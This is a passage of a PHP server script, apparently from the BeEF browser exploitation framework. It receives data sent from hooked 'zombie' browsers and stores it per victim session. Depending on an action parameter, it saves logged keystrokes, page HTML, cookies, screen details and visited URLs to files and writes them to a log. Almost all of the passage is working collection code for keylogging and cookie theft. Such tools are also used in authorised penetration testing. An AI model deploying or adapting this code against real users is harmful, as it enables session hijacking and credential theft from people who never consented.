' . date("F j, Y, g:i a", $time) . '';
$encoded_data = html_encode_all($data);
$encoded_data = convert_10_br($encoded_data);
file_put_contents($_SESSION[$action], $time_html . "
\n", FILE_APPEND);
file_put_contents($_SESSION[$action], $encoded_data . "
\n", FILE_APPEND);
// the data will be encoded in beef_log()
beef_log("Module Result: \n" . $data, "Module Result: \n" . $data);
exit;
}
// take action based on the action param
switch ($action) {
case "kl": // key registered
append_data(KEYLOG_FILENAME, $data);
break;
case "screen": // screen details
save_data(SCREEN_FILENAME, $data);
beef_log("", "Screen: " . $data);
break;
case "html": // html details
$stripped_data = stripslashes($data);
append_data(HTML_FILENAME, $stripped_data);
beef_log("", "HTML Contents: " . $stripped_data);
break;
case "cookie": // cookie details
save_data(COOKIE_FILENAME, $data);
beef_log("", "Cookie: " . $data);
break;
case "loc": // location details
save_data(LOC_FILENAME, $data);
beef_log("", "Requested URL: " . $data);
break;
default: // unexpected
beef_error("unknown action: $action");
beef_log("", "Unknown Action: " . $action);
}
// --[ CHECK_ZOMBIE_DIR
function check_zombie_dir() {
$zombie_dir = ZOMBIE_TMP_DIR . session_id();
// create a directory for this zombie if it doens't exist
if(!file_exists($zombie_dir)) {
mkdir($zombie_dir);
}
}
// --[ APPEND_DATA
function append_data($filename, $data) {
if (empty($data)) { beef_error('no data to save - append data'); };
$zombie_dir = ZOMBIE_TMP_DIR . session_id();
$zombie_data_file = $zombie_dir . "/" . $filename;
file_put_contents($zombie_data_file, $data, FILE_APPEND);
}
// --[ SAVE_DATA
function save_data($filename, $data) {
if (empty($data)) { beef_error('no data to save - write data'); };
$zombie_dir = ZOMBIE_TMP_DIR . session_id();
$zombie_data_file = $zombie_dir . "/" . $filename;
file_put_contents($zombie_data_file, $data);
}
?>